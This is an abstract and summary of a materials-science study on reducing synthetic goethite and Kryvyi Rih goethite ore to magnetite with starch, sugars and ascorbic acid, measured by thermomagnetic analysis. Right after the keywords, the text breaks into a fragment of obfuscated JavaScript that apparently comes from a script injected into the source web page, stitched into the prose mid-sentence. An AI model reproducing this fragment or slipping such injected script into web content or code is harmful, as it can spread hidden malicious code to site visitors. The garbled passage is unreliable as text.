Abstract
Phase transformations of synthetic goethite and goethite ore from Kryvyi Rih region by reducing with different carbohydrates (starch, glucose, fructose, sucrose and ascorbic acid) were investigated by thermomagnetic analysis. Thermomagnetic analysis was carried-out using laboratory device that allows automatic registration of sample magnetization with the temperature (the rate of sample heating/cooling was 65-80°/min). The reduction reaction of synthetic goethite for all carbohydrates starts at the temperature of ~250°C while reduction of goethite ore for all carbohydrates starts at the temperature of ~450°C. We could relate this increasing of reduction start temperature with shielding effect of admixtures in the ore. Reduction of synthetic goethite at this temperature range leads to formation of magnetic phase with saturation magnetisation ~70 A*m2/kg. At the same time, reduction of goethite ore leads to formation of magnetic phase with saturation magnetisation ~25 A*m2/kg. One could attribute this decreased value of saturation magnetisation to the presence of other minerals (quartz, etc.) in the ore. It was shown by X-Ray Diffraction method that goethite completely transforms into magnetite under heating with different carbohydrates up to 650°C. All carbohydrates reduce goethite to magnetite. Key words: goethite, magnetite, phase transformations, thermomagnetic analysis. // t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e
Highlights
Goethite (α-FeOOH) is an iron-containing mineral named by Johann Wolfgang von Goethe
Synthetic goethite reduction with carbohydrates under heating up to 650°C leads to formation of magnetite with saturation magnetisation ~70 A·m2/kg
Goethite ore reduction with carbohydrates under heating up to 650°C leads to formation of magnetite
Summary
Goethite (α-FeOOH) is an iron-containing mineral named by Johann Wolfgang von Goethe. It is widely spread in ores, sediments and soils and is one of the most thermodynamically stable iron oxide at ambient temperature [4]. Goethite is often formed as sedimentary rock, and its formation requires the presence of water. That’s why it is often found within spring water wetlands, and at lake and creek bottoms. It is always present in ore deposit oxidation zones. At the beginning of the 21st century, Mars Exploration Rover «Spirit» discovered goethite on the Red Planet’s surface
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